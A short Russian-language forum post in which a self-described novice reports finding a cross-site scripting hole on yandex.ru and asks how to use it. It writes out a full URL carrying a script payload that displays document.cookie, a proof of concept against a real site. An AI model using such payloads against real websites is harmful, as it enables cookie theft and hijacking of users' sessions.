кто знает что-нибудь напишите сюда, заодно всё соберётся в одну тему

P.S. я нашёл xss
http://www.yandex.ru/cgi-bin/customize.pl?yxqs="><script>alert(document.cookie) </script>
что с ней делать, а то когда запускаешь, тебя на страницу поиска выкидывает
(сорри за ламерство)